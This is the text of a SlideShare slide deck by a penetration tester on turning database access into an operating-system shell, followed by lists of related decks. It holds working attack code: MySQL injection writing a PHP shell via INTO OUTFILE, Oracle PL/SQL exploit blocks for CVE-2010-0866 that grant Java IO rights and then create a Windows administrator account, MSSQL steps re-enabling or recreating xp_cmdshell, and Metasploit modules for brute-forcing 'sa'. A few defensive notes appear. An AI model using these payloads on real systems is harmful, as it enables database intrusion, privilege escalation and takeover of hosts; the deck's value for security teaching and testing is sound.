SlideShare uma empresa Scribd logo
1 de 16
Rock'n Roll in Database
Security
Prathan Phongthiproek (Lucifer@CITEC)
Senior Information Security Consultant
ACIS ProfessionalCenter
Who am I ?
 CITEC Evolution
 Code Name “Lucifer”, Moderator, Speaker
 Instructor: Web Application (In) Security 101
 Instructor: Mastering in Exploitation
 ACIS ProfessionalCenter
 RedTeam : Penetration Tester
 Instructor / Speaker
 Security Consultant / Researcher
 Founder of CWH Underground Hacker
 Exploits,Vulnerabilities, Papers Disclosure
 Milw0rm, Exploit-db, Security Focus, Secunia, Zeroday, etc
 http://www.exploit-db.com/author/?a=1275
Let’sTalk !?
“Get DBA privilege is good but get SHELL is better !!”
 MySQL PWNED !! From Web Application to get SHELL
 Oracle Escalating Privilege XPL For get SHELL
 MSSQL Credentials Attack For get SHELL
MSSQL and OracleVulnerabilities
0
40
80
120
160
2002 2003 2004 2005 2006 2007 2008 2009
24
3
0 0 0 0
11
0
46
12
25
61
144
41
48
36
SQL Server Oracle
MySQL Jump into OS
 MySQL5.xVulnerability, 0-Day on Immunity CANVAS
 SQL Injection viaWeb Application (Top Hit !!)
 MySQL Outfile Function
 Need writable directory
 Need Absolute path
 Need Magic_quote off
 Union select 1,‘code’,3,4 into outfile “/www/htdocs/shell.php”
 MySQL Load_file Function (Better !!)
 Need Absolute path
 Need phpMyAdmin path or MySQL 3306 was opened at firewall
 Union select 1,load_file(0x4332…………)
MySQL PWNED !! FromWeb Application
to get SHELL
Oracle Escalating Privilege XPL For get
SHELL – PL/SQL Injection
 Dbms_cdc_publish3 – For Oracle 10gR1-11gR2
 Dbms_cdc_publish2
 Dbms_cdc_publish
 Dbms_metadata_open
 Dbms_export_extension
 It_findricset_cursor
 It_compressworkspace
 It_mergeworkspace
 It_removeworkspace
 It_rollbackworkspace
Oracle Escalating Privilege XPL For get
SHELL
 DBMS_JVM_EXP_PERMS package that allow any user create
privilege to grant themselves java IO Privileges
 CVE-2010-0866
 Affect Oracle 10g-11g (Windows Only)
 Defense
 Apply October 2010 Critical Patch Update
 Oracle 11gR2 onWindows still secure
 Revoke privileges from users to execute
DBMS_JVM_EXP_PERMS
Oracle Escalating Privilege XPL For get
SHELL
 XPL Code (Grant JAVA IO Privilege)
 DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS
SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission',’<<ALL
FILES>>','execute','ENABLED' from dual;BEGIN OPEN C1;FETCH C1 BULK COLLECT
INTO POL;CLOSE C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;
 DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS
SELECT 'GRANT',USER(),
'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM
DUAL;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE
C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;
 DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;CURSOR C1 IS
SELECT 'GRANT',USER(),
'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM
DUAL;BEGIN OPEN C1;FETCH C1 BULK COLLECT INTO POL;CLOSE
C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);END;
Oracle Escalating Privilege XPL For get
SHELL
 XPL Code (OS Execute)
 select
DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:windows
system32cmd.exe', '/c', ’net user prathan 1234 /add’) from dual;
 select
DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:windows
system32cmd.exe', '/c', ’net localgroup administrators prathan /add’) from
dual;
Oracle Escalating Privilege XPL For get
SHELL
MSSQL CredentialsAttack For get SHELL
 ‘SA’ is God Account, Run with SYSTEM Privilege onWindows
 Default ‘sa’ password is blank password or guessable
 Require “xp_cmdshell” stored procedures (Disable by default
on MSSQL 2005+)
 Enabled it with osql
 On MSSQL 2005
 EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE
EXEC sp_configure ‘xp_cmdshell’, 1
RECONFIGURE
MSSQL CredentialsAttack For get SHELL
 On MSSQL 2000
 Xp_cmdshell was drop by sp_dropextendedproc
 EXEC sp_addextendedproc ‘xp_anyname’, ‘xp_log70.dll’
 CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result
MSSQL CredentialsAttack For get SHELL
 Brute-Force ‘sa’ password and use sa credentials to run os
command on target machine with Metasploit modules
 Scanner/mssql/mssql_ping
 Scanner/mssql/mssql_login
 Admin/mssql/mssql_exec
 Windows/smb/psexec
IPWN4 – PenTestTools (Jail-Broken)
 Pen-TestTools (Command-line)
 Metasploit Framework
 Social Engineering Toolkit
 Nmap Scanner, Amap, Hping
 Nbtscan, netcat
 Nikto2, dnsmap
 Ettercap-NG, Aircrack-NG
 GUITools
 iTeleport
 Jaadu RDP
 iNet
 WiFiFoFum
Full Compromise MSSQL via Iphone4

Mais conteúdo relacionado

Mais procurados

Installing oracle timesten database On Linux
Installing oracle timesten database On Linux Installing oracle timesten database On Linux
Installing oracle timesten database On Linux Osama Mustafa
 
Writing highly scalable WebSocket using the Atmosphere Framework and Scala
Writing highly scalable WebSocket using the Atmosphere Framework and ScalaWriting highly scalable WebSocket using the Atmosphere Framework and Scala
Writing highly scalable WebSocket using the Atmosphere Framework and Scalajfarcand
 
Web service with Laravel
Web service with LaravelWeb service with Laravel
Web service with LaravelAbuzer Firdousi
 
Oracle olap-installation
Oracle olap-installationOracle olap-installation
Oracle olap-installationAmit Sharma
 
Introduction to MariaDb
Introduction to MariaDbIntroduction to MariaDb
Introduction to MariaDbBehzadDara
 
Null bhopal Sep 2016: What it Takes to Secure a Web Application
Null bhopal Sep 2016: What it Takes to Secure a Web ApplicationNull bhopal Sep 2016: What it Takes to Secure a Web Application
Null bhopal Sep 2016: What it Takes to Secure a Web ApplicationAnant Shrivastava
 
DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity George Boobyer
 
Getting Started With PowerShell Scripting
Getting Started With PowerShell ScriptingGetting Started With PowerShell Scripting
Getting Started With PowerShell ScriptingRavikanth Chaganti
 
Php psr standard 2014 01-22
Php psr standard 2014 01-22Php psr standard 2014 01-22
Php psr standard 2014 01-22Võ Duy Tuấn
 
Upgrade EBS DB from 11g to 12c.
Upgrade EBS DB from 11g to 12c.Upgrade EBS DB from 11g to 12c.
Upgrade EBS DB from 11g to 12c.Osama Mustafa
 
Creating Secure Applications
Creating Secure Applications Creating Secure Applications
Creating Secure Applications guest879f38
 
[Php Camp]Owasp Php Top5+Csrf
[Php Camp]Owasp Php Top5+Csrf[Php Camp]Owasp Php Top5+Csrf
[Php Camp]Owasp Php Top5+CsrfBipin Upadhyay
 
Pwning with powershell
Pwning with powershellPwning with powershell
Pwning with powershelljaredhaight
 
Websockets on the JVM: Atmosphere to the rescue!
Websockets on the JVM: Atmosphere to the rescue!Websockets on the JVM: Atmosphere to the rescue!
Websockets on the JVM: Atmosphere to the rescue!jfarcand
 
Oracle 12cR2 Installation On Oracle Linux 7
Oracle 12cR2 Installation On Oracle Linux 7Oracle 12cR2 Installation On Oracle Linux 7
Oracle 12cR2 Installation On Oracle Linux 7Arun Sharma
 
HIPAA Compliant Deployment of Apache Spark on AWS for Healthcare Nitin Panjwa...
HIPAA Compliant Deployment of Apache Spark on AWS for Healthcare Nitin Panjwa...HIPAA Compliant Deployment of Apache Spark on AWS for Healthcare Nitin Panjwa...
HIPAA Compliant Deployment of Apache Spark on AWS for Healthcare Nitin Panjwa...Databricks
 
Web Application Development using MVC Framework Kohana
Web Application Development using MVC Framework KohanaWeb Application Development using MVC Framework Kohana
Web Application Development using MVC Framework KohanaArafat Rahman
 
Owasp universal-http-do s
Owasp universal-http-do sOwasp universal-http-do s
Owasp universal-http-do sE Hacking
 

Mais procurados (20)

Installing oracle timesten database On Linux
Installing oracle timesten database On Linux Installing oracle timesten database On Linux
Installing oracle timesten database On Linux
 
Writing highly scalable WebSocket using the Atmosphere Framework and Scala
Writing highly scalable WebSocket using the Atmosphere Framework and ScalaWriting highly scalable WebSocket using the Atmosphere Framework and Scala
Writing highly scalable WebSocket using the Atmosphere Framework and Scala
 
Web service with Laravel
Web service with LaravelWeb service with Laravel
Web service with Laravel
 
Oracle olap-installation
Oracle olap-installationOracle olap-installation
Oracle olap-installation
 
Introduction to MariaDb
Introduction to MariaDbIntroduction to MariaDb
Introduction to MariaDb
 
Null bhopal Sep 2016: What it Takes to Secure a Web Application
Null bhopal Sep 2016: What it Takes to Secure a Web ApplicationNull bhopal Sep 2016: What it Takes to Secure a Web Application
Null bhopal Sep 2016: What it Takes to Secure a Web Application
 
DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity
 
Getting Started With PowerShell Scripting
Getting Started With PowerShell ScriptingGetting Started With PowerShell Scripting
Getting Started With PowerShell Scripting
 
Php psr standard 2014 01-22
Php psr standard 2014 01-22Php psr standard 2014 01-22
Php psr standard 2014 01-22
 
Upgrade EBS DB from 11g to 12c.
Upgrade EBS DB from 11g to 12c.Upgrade EBS DB from 11g to 12c.
Upgrade EBS DB from 11g to 12c.
 
Creating Secure Applications
Creating Secure Applications Creating Secure Applications
Creating Secure Applications
 
[Php Camp]Owasp Php Top5+Csrf
[Php Camp]Owasp Php Top5+Csrf[Php Camp]Owasp Php Top5+Csrf
[Php Camp]Owasp Php Top5+Csrf
 
Pwning with powershell
Pwning with powershellPwning with powershell
Pwning with powershell
 
Websockets on the JVM: Atmosphere to the rescue!
Websockets on the JVM: Atmosphere to the rescue!Websockets on the JVM: Atmosphere to the rescue!
Websockets on the JVM: Atmosphere to the rescue!
 
Oracle 12cR2 Installation On Oracle Linux 7
Oracle 12cR2 Installation On Oracle Linux 7Oracle 12cR2 Installation On Oracle Linux 7
Oracle 12cR2 Installation On Oracle Linux 7
 
HIPAA Compliant Deployment of Apache Spark on AWS for Healthcare Nitin Panjwa...
HIPAA Compliant Deployment of Apache Spark on AWS for Healthcare Nitin Panjwa...HIPAA Compliant Deployment of Apache Spark on AWS for Healthcare Nitin Panjwa...
HIPAA Compliant Deployment of Apache Spark on AWS for Healthcare Nitin Panjwa...
 
Auxiliary : Tomcat
Auxiliary : TomcatAuxiliary : Tomcat
Auxiliary : Tomcat
 
Web Application Development using MVC Framework Kohana
Web Application Development using MVC Framework KohanaWeb Application Development using MVC Framework Kohana
Web Application Development using MVC Framework Kohana
 
Metasploit primary
Metasploit primaryMetasploit primary
Metasploit primary
 
Owasp universal-http-do s
Owasp universal-http-do sOwasp universal-http-do s
Owasp universal-http-do s
 

Destaque

Hyves Cbw Mitex Harry Van Wouter
Hyves Cbw Mitex Harry Van WouterHyves Cbw Mitex Harry Van Wouter
Hyves Cbw Mitex Harry Van Wouterguest2f17d3
 
Acta agrupamento hostelería vigo (emenda)
Acta agrupamento hostelería vigo (emenda)Acta agrupamento hostelería vigo (emenda)
Acta agrupamento hostelería vigo (emenda)oscargaliza
 
FPGA SDK For Nanoscale Architectures
FPGA SDK For Nanoscale ArchitecturesFPGA SDK For Nanoscale Architectures
FPGA SDK For Nanoscale ArchitecturesCiprian Teodorov
 
Manual enfermeria resumen
Manual enfermeria resumenManual enfermeria resumen
Manual enfermeria resumenMANUEL RIVERA
 
EDFN 302 Tech Tool Jenny Martineza
EDFN 302 Tech Tool   Jenny MartinezaEDFN 302 Tech Tool   Jenny Martineza
EDFN 302 Tech Tool Jenny Martinezajam86tvl
 
Soalan untuk cikgu zaidi
Soalan untuk cikgu zaidiSoalan untuk cikgu zaidi
Soalan untuk cikgu zaidikorekkorekcum
 
Doc110339 normas do_x_congreso_do_sindicato_nacional_de_ccoo
Doc110339 normas do_x_congreso_do_sindicato_nacional_de_ccooDoc110339 normas do_x_congreso_do_sindicato_nacional_de_ccoo
Doc110339 normas do_x_congreso_do_sindicato_nacional_de_ccoooscargaliza
 
Retrospectiva primului an de participare la Programul BIBLIONET
Retrospectiva primului an de participare la Programul BIBLIONETRetrospectiva primului an de participare la Programul BIBLIONET
Retrospectiva primului an de participare la Programul BIBLIONETBakai Magdolna
 
Plan de igualdad_ikea
Plan de igualdad_ikeaPlan de igualdad_ikea
Plan de igualdad_ikeaoscargaliza
 
Estonia Power Point
Estonia Power PointEstonia Power Point
Estonia Power Pointguestfc17a1
 
TDR pregled poslovanja u 2010. godini
TDR pregled poslovanja u 2010. godiniTDR pregled poslovanja u 2010. godini
TDR pregled poslovanja u 2010. godiniTDR d.o.o Rovinj
 
הסוזן התוכנית לחטוף את בגין
הסוזן   התוכנית לחטוף את בגיןהסוזן   התוכנית לחטוף את בגין
הסוזן התוכנית לחטוף את בגיןhaimkarel
 
Park Quantification Of Aesthetic Viewing Using Eye Tracking Technology The In...
Park Quantification Of Aesthetic Viewing Using Eye Tracking Technology The In...Park Quantification Of Aesthetic Viewing Using Eye Tracking Technology The In...
Park Quantification Of Aesthetic Viewing Using Eye Tracking Technology The In...Kalle
 

Destaque (20)

Hyves Cbw Mitex Harry Van Wouter
Hyves Cbw Mitex Harry Van WouterHyves Cbw Mitex Harry Van Wouter
Hyves Cbw Mitex Harry Van Wouter
 
ลักษณะภูมิประเทศ2.1
ลักษณะภูมิประเทศ2.1ลักษณะภูมิประเทศ2.1
ลักษณะภูมิประเทศ2.1
 
อิสราเอลและอาหรับ
อิสราเอลและอาหรับอิสราเอลและอาหรับ
อิสราเอลและอาหรับ
 
Acta agrupamento hostelería vigo (emenda)
Acta agrupamento hostelería vigo (emenda)Acta agrupamento hostelería vigo (emenda)
Acta agrupamento hostelería vigo (emenda)
 
FPGA SDK For Nanoscale Architectures
FPGA SDK For Nanoscale ArchitecturesFPGA SDK For Nanoscale Architectures
FPGA SDK For Nanoscale Architectures
 
Manual enfermeria resumen
Manual enfermeria resumenManual enfermeria resumen
Manual enfermeria resumen
 
Pans company
Pans companyPans company
Pans company
 
EDFN 302 Tech Tool Jenny Martineza
EDFN 302 Tech Tool   Jenny MartinezaEDFN 302 Tech Tool   Jenny Martineza
EDFN 302 Tech Tool Jenny Martineza
 
Soalan untuk cikgu zaidi
Soalan untuk cikgu zaidiSoalan untuk cikgu zaidi
Soalan untuk cikgu zaidi
 
Doc110339 normas do_x_congreso_do_sindicato_nacional_de_ccoo
Doc110339 normas do_x_congreso_do_sindicato_nacional_de_ccooDoc110339 normas do_x_congreso_do_sindicato_nacional_de_ccoo
Doc110339 normas do_x_congreso_do_sindicato_nacional_de_ccoo
 
RASCmar2010
RASCmar2010RASCmar2010
RASCmar2010
 
Retrospectiva primului an de participare la Programul BIBLIONET
Retrospectiva primului an de participare la Programul BIBLIONETRetrospectiva primului an de participare la Programul BIBLIONET
Retrospectiva primului an de participare la Programul BIBLIONET
 
Terms and condition_rus
Terms and condition_rusTerms and condition_rus
Terms and condition_rus
 
Plan de igualdad_ikea
Plan de igualdad_ikeaPlan de igualdad_ikea
Plan de igualdad_ikea
 
Estonia Power Point
Estonia Power PointEstonia Power Point
Estonia Power Point
 
Cp4 Wayra
Cp4 WayraCp4 Wayra
Cp4 Wayra
 
TDR pregled poslovanja u 2010. godini
TDR pregled poslovanja u 2010. godiniTDR pregled poslovanja u 2010. godini
TDR pregled poslovanja u 2010. godini
 
Sport Equipment Rus
Sport Equipment RusSport Equipment Rus
Sport Equipment Rus
 
הסוזן התוכנית לחטוף את בגין
הסוזן   התוכנית לחטוף את בגיןהסוזן   התוכנית לחטוף את בגין
הסוזן התוכנית לחטוף את בגין
 
Park Quantification Of Aesthetic Viewing Using Eye Tracking Technology The In...
Park Quantification Of Aesthetic Viewing Using Eye Tracking Technology The In...Park Quantification Of Aesthetic Viewing Using Eye Tracking Technology The In...
Park Quantification Of Aesthetic Viewing Using Eye Tracking Technology The In...
 

Semelhante a Rock'n Roll in Database S

Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9sumsid1234
 
New and improved hacking oracle from web apps sumit sidharth
New and improved hacking oracle from web apps   sumit sidharthNew and improved hacking oracle from web apps   sumit sidharth
New and improved hacking oracle from web apps sumit sidharthowaspindia
 
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormguest785f78
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)Ferruh Mavituna
 
Conf2015 d waddle_defense_pointsecurity_deploying_splunksslbestpractices
Conf2015 d waddle_defense_pointsecurity_deploying_splunksslbestpracticesConf2015 d waddle_defense_pointsecurity_deploying_splunksslbestpractices
Conf2015 d waddle_defense_pointsecurity_deploying_splunksslbestpracticesBrentMatlock
 
Cyber Kill Chain: Web Application Exploitation
Cyber Kill Chain: Web Application ExploitationCyber Kill Chain: Web Application Exploitation
Cyber Kill Chain: Web Application ExploitationPrathan Phongthiproek
 
Fully Automate Application Delivery with Puppet and F5 - PuppetConf 2014
Fully Automate Application Delivery with Puppet and F5 - PuppetConf 2014Fully Automate Application Delivery with Puppet and F5 - PuppetConf 2014
Fully Automate Application Delivery with Puppet and F5 - PuppetConf 2014Puppet
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Jim Manico
 
Sql Injections With Real Life Scenarious
Sql Injections With Real Life ScenariousSql Injections With Real Life Scenarious
Sql Injections With Real Life ScenariousFrancis Alexander
 
CRESTCon Asia 2018 - Config Password Encryption Gone Wrong
CRESTCon Asia 2018 - Config Password Encryption Gone WrongCRESTCon Asia 2018 - Config Password Encryption Gone Wrong
CRESTCon Asia 2018 - Config Password Encryption Gone WrongKeith Lee
 
Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014Barney Hanlon
 
How to create a multi tenancy for an interactive data analysis
How to create a multi tenancy for an interactive data analysisHow to create a multi tenancy for an interactive data analysis
How to create a multi tenancy for an interactive data analysisTiago Simões
 
Writing & Sharing Great Modules - Puppet Camp Boston
Writing & Sharing Great Modules - Puppet Camp BostonWriting & Sharing Great Modules - Puppet Camp Boston
Writing & Sharing Great Modules - Puppet Camp BostonPuppet
 
Is your python application secure? - PyCon Canada - 2015-11-07
Is your python application secure? - PyCon Canada - 2015-11-07Is your python application secure? - PyCon Canada - 2015-11-07
Is your python application secure? - PyCon Canada - 2015-11-07Frédéric Harper
 
Laravel for Web Artisans
Laravel for Web ArtisansLaravel for Web Artisans
Laravel for Web ArtisansRaf Kewl
 
Strata London 2018: Multi-everything with Apache Pulsar
Strata London 2018:  Multi-everything with Apache PulsarStrata London 2018:  Multi-everything with Apache Pulsar
Strata London 2018: Multi-everything with Apache PulsarStreamlio
 
Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全.pptx
Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全.pptxTrack 5 Session 1_如何藉由多層次防禦搭建網路應用安全.pptx
Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全.pptxAmazon Web Services
 
Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全
Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全
Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全Amazon Web Services
 
Java REST API Framework Comparison - UberConf 2021
Java REST API Framework Comparison - UberConf 2021Java REST API Framework Comparison - UberConf 2021
Java REST API Framework Comparison - UberConf 2021Matt Raible
 

Semelhante a Rock'n Roll in Database S (20)

Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9
 
New and improved hacking oracle from web apps sumit sidharth
New and improved hacking oracle from web apps   sumit sidharthNew and improved hacking oracle from web apps   sumit sidharth
New and improved hacking oracle from web apps sumit sidharth
 
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_wormDefcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)
 
Conf2015 d waddle_defense_pointsecurity_deploying_splunksslbestpractices
Conf2015 d waddle_defense_pointsecurity_deploying_splunksslbestpracticesConf2015 d waddle_defense_pointsecurity_deploying_splunksslbestpractices
Conf2015 d waddle_defense_pointsecurity_deploying_splunksslbestpractices
 
Cyber Kill Chain: Web Application Exploitation
Cyber Kill Chain: Web Application ExploitationCyber Kill Chain: Web Application Exploitation
Cyber Kill Chain: Web Application Exploitation
 
Fully Automate Application Delivery with Puppet and F5 - PuppetConf 2014
Fully Automate Application Delivery with Puppet and F5 - PuppetConf 2014Fully Automate Application Delivery with Puppet and F5 - PuppetConf 2014
Fully Automate Application Delivery with Puppet and F5 - PuppetConf 2014
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
 
Sql Injections With Real Life Scenarious
Sql Injections With Real Life ScenariousSql Injections With Real Life Scenarious
Sql Injections With Real Life Scenarious
 
Intro to Laravel 4
Intro to Laravel 4Intro to Laravel 4
Intro to Laravel 4
 
CRESTCon Asia 2018 - Config Password Encryption Gone Wrong
CRESTCon Asia 2018 - Config Password Encryption Gone WrongCRESTCon Asia 2018 - Config Password Encryption Gone Wrong
CRESTCon Asia 2018 - Config Password Encryption Gone Wrong
 
Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014Next Generation DevOps in Drupal: DrupalCamp London 2014
Next Generation DevOps in Drupal: DrupalCamp London 2014
 
How to create a multi tenancy for an interactive data analysis
How to create a multi tenancy for an interactive data analysisHow to create a multi tenancy for an interactive data analysis
How to create a multi tenancy for an interactive data analysis
 
Writing & Sharing Great Modules - Puppet Camp Boston
Writing & Sharing Great Modules - Puppet Camp BostonWriting & Sharing Great Modules - Puppet Camp Boston
Writing & Sharing Great Modules - Puppet Camp Boston
 
Is your python application secure? - PyCon Canada - 2015-11-07
Is your python application secure? - PyCon Canada - 2015-11-07Is your python application secure? - PyCon Canada - 2015-11-07
Is your python application secure? - PyCon Canada - 2015-11-07
 
Laravel for Web Artisans
Laravel for Web ArtisansLaravel for Web Artisans
Laravel for Web Artisans
 
Strata London 2018: Multi-everything with Apache Pulsar
Strata London 2018:  Multi-everything with Apache PulsarStrata London 2018:  Multi-everything with Apache Pulsar
Strata London 2018: Multi-everything with Apache Pulsar
 
Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全.pptx
Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全.pptxTrack 5 Session 1_如何藉由多層次防禦搭建網路應用安全.pptx
Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全.pptx
 
Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全
Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全
Track 5 Session 1_如何藉由多層次防禦搭建網路應用安全
 
Java REST API Framework Comparison - UberConf 2021
Java REST API Framework Comparison - UberConf 2021Java REST API Framework Comparison - UberConf 2021
Java REST API Framework Comparison - UberConf 2021
 

Mais de Prathan Phongthiproek

The CARzyPire - Another Red Team Operation
The CARzyPire - Another Red Team OperationThe CARzyPire - Another Red Team Operation
The CARzyPire - Another Red Team OperationPrathan Phongthiproek
 
OWASP Day - OWASP Day - Lets secure!
OWASP Day - OWASP Day - Lets secure! OWASP Day - OWASP Day - Lets secure!
OWASP Day - OWASP Day - Lets secure! Prathan Phongthiproek
 
Don't Trust, And Verify - Mobile Application Attacks
Don't Trust, And Verify - Mobile Application AttacksDon't Trust, And Verify - Mobile Application Attacks
Don't Trust, And Verify - Mobile Application AttacksPrathan Phongthiproek
 
Point-Of-Sale Hacking - 2600Thailand#20
Point-Of-Sale Hacking - 2600Thailand#20Point-Of-Sale Hacking - 2600Thailand#20
Point-Of-Sale Hacking - 2600Thailand#20Prathan Phongthiproek
 
OWASP Thailand-Beyond the Penetration Testing
OWASP Thailand-Beyond the Penetration TestingOWASP Thailand-Beyond the Penetration Testing
OWASP Thailand-Beyond the Penetration TestingPrathan Phongthiproek
 
Mobile Application Pentest [Fast-Track]
Mobile Application Pentest [Fast-Track]Mobile Application Pentest [Fast-Track]
Mobile Application Pentest [Fast-Track]Prathan Phongthiproek
 
CDIC 2013-Mobile Application Pentest Workshop
CDIC 2013-Mobile Application Pentest WorkshopCDIC 2013-Mobile Application Pentest Workshop
CDIC 2013-Mobile Application Pentest WorkshopPrathan Phongthiproek
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedPrathan Phongthiproek
 
Layer8 exploitation: Lock'n Load Target
Layer8 exploitation: Lock'n Load TargetLayer8 exploitation: Lock'n Load Target
Layer8 exploitation: Lock'n Load TargetPrathan Phongthiproek
 
Tisa-Social Network and Mobile Security
Tisa-Social Network and Mobile SecurityTisa-Social Network and Mobile Security
Tisa-Social Network and Mobile SecurityPrathan Phongthiproek
 

Mais de Prathan Phongthiproek (20)

Mobile Defense-in-Dev (Depth)
Mobile Defense-in-Dev (Depth)Mobile Defense-in-Dev (Depth)
Mobile Defense-in-Dev (Depth)
 
The CARzyPire - Another Red Team Operation
The CARzyPire - Another Red Team OperationThe CARzyPire - Another Red Team Operation
The CARzyPire - Another Red Team Operation
 
Mobile App Hacking In A Nutshell
Mobile App Hacking In A NutshellMobile App Hacking In A Nutshell
Mobile App Hacking In A Nutshell
 
Jump-Start The MASVS
Jump-Start The MASVSJump-Start The MASVS
Jump-Start The MASVS
 
OWASP Mobile Top 10 Deep-Dive
OWASP Mobile Top 10 Deep-DiveOWASP Mobile Top 10 Deep-Dive
OWASP Mobile Top 10 Deep-Dive
 
The Hookshot: Runtime Exploitation
The Hookshot: Runtime ExploitationThe Hookshot: Runtime Exploitation
The Hookshot: Runtime Exploitation
 
Understanding ransomware
Understanding ransomwareUnderstanding ransomware
Understanding ransomware
 
OWASP Day - OWASP Day - Lets secure!
OWASP Day - OWASP Day - Lets secure! OWASP Day - OWASP Day - Lets secure!
OWASP Day - OWASP Day - Lets secure!
 
Don't Trust, And Verify - Mobile Application Attacks
Don't Trust, And Verify - Mobile Application AttacksDon't Trust, And Verify - Mobile Application Attacks
Don't Trust, And Verify - Mobile Application Attacks
 
Owasp Top 10 Mobile Risks
Owasp Top 10 Mobile RisksOwasp Top 10 Mobile Risks
Owasp Top 10 Mobile Risks
 
Point-Of-Sale Hacking - 2600Thailand#20
Point-Of-Sale Hacking - 2600Thailand#20Point-Of-Sale Hacking - 2600Thailand#20
Point-Of-Sale Hacking - 2600Thailand#20
 
OWASP Thailand-Beyond the Penetration Testing
OWASP Thailand-Beyond the Penetration TestingOWASP Thailand-Beyond the Penetration Testing
OWASP Thailand-Beyond the Penetration Testing
 
Mobile Application Pentest [Fast-Track]
Mobile Application Pentest [Fast-Track]Mobile Application Pentest [Fast-Track]
Mobile Application Pentest [Fast-Track]
 
Hack and Slash: Secure Coding
Hack and Slash: Secure CodingHack and Slash: Secure Coding
Hack and Slash: Secure Coding
 
CDIC 2013-Mobile Application Pentest Workshop
CDIC 2013-Mobile Application Pentest WorkshopCDIC 2013-Mobile Application Pentest Workshop
CDIC 2013-Mobile Application Pentest Workshop
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or Succeed
 
Layer8 exploitation: Lock'n Load Target
Layer8 exploitation: Lock'n Load TargetLayer8 exploitation: Lock'n Load Target
Layer8 exploitation: Lock'n Load Target
 
Advanced Malware Analysis
Advanced Malware AnalysisAdvanced Malware Analysis
Advanced Malware Analysis
 
Tisa mobile forensic
Tisa mobile forensicTisa mobile forensic
Tisa mobile forensic
 
Tisa-Social Network and Mobile Security
Tisa-Social Network and Mobile SecurityTisa-Social Network and Mobile Security
Tisa-Social Network and Mobile Security
 

Rock'n Roll in Database S

  • 1. Rock'n Roll in Database Security Prathan Phongthiproek (Lucifer@CITEC) Senior Information Security Consultant ACIS ProfessionalCenter
